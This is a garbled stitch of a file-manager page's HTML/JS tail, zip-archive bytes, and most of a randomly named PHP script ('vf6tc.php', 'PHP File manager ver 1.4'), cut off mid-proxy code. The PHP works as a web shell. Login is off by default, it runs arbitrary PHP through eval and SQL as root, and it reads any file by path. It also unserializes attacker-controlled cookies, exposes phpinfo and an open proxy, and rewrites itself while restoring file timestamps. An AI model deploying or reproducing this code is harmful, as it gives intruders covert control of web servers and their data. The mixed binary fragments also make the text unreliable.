    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New Folder</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFolderName">Folder Name:</label>
                    <input type="text" id="newFolderName" name="newFolderName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
                    <button type="submit" name="createFolder" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Hidden form for navigation -->
    <form id="navigationForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="navigate">
        <input type="hidden" id="navigationPath" name="path" value="">
    </form>
    
    <!-- Hidden form for download -->
    <form id="downloadForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="download">
        <input type="hidden" id="downloadPath" name="path" value="">
    </form>
    
    <script>
        // Show loading overlay
        function showLoading() {
            document.getElementById('loadingOverlay').style.display = 'flex';
        }
        
        // Hide loading overlay
        function hideLoading() {
            document.getElementById('loadingOverlay').style.display = 'none';
        }
        
        // Navigation function
        function navigateTo(path) {
            showLoading();
            document.getElementById('navigationPath').value = path;
            document.getElementById('navigationForm').submit();
        }
        
        // Download function
        function downloadFile(path) {
            document.getElementById('downloadPath').value = path;
            document.getElementById('downloadForm').submit();
        }
        
        // Show rename modal
        function showRenameModal(path, name) {
            document.getElementById('renameFileName').textContent = name;
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        
        // Show permissions modal
        function showPermissionsModal(path, name) {
            document.getElementById('permissionsFileName').textContent = name;
            document.getElementById('permissionsPath').value = path;
            document.getElementById('permissionsModal').style.display = 'flex';
        }
        
        // Show edit file modal
        function showEditFileModal(path, name) {
            document.getElementById('editFileName').textContent = name;
            document.getElementById('editFilePath').value = path;
            
            showLoading();
            
            // Fetch file content using POST
            const formData = new FormData();
            formData.append('action', 'getContent');
            formData.append('path', path);
            
            fetch(window.location.pathname, {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(content => {
                document.getElementById('fileContent').value = content;
                document.getElementById('editFileModal').style.display = 'flex';
                hideLoading();
            })
            .catch(error => {
                hideLoading();
                alert('Error loading file content: ' + error);
            });
        }
        
        // Show create file modal
        function showCreateFileModal() {
            document.getElementById('newFileName').value = '';
            document.getElementById('createFileModal').style.display = 'flex';
        }
        
        // Show create folder modal
        function showCreateFolderModal() {
            document.getElementById('newFolderName').value = '';
            document.getElementById('createFolderModal').style.display = 'flex';
        }
        
        // Hide modal
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modals when clicking outside
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Add loading indicator to form submissions
        document.addEventListener('DOMContentLoaded', function() {
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                form.addEventListener('submit', function() {
                    // Don't show loading for the navigation and download forms
                    if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
                        showLoading();
                    }
                });
            });
        });
    </script>
</body>
</html>PK�Lm\���7�5�5	vf6tc.phpnu�[���<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
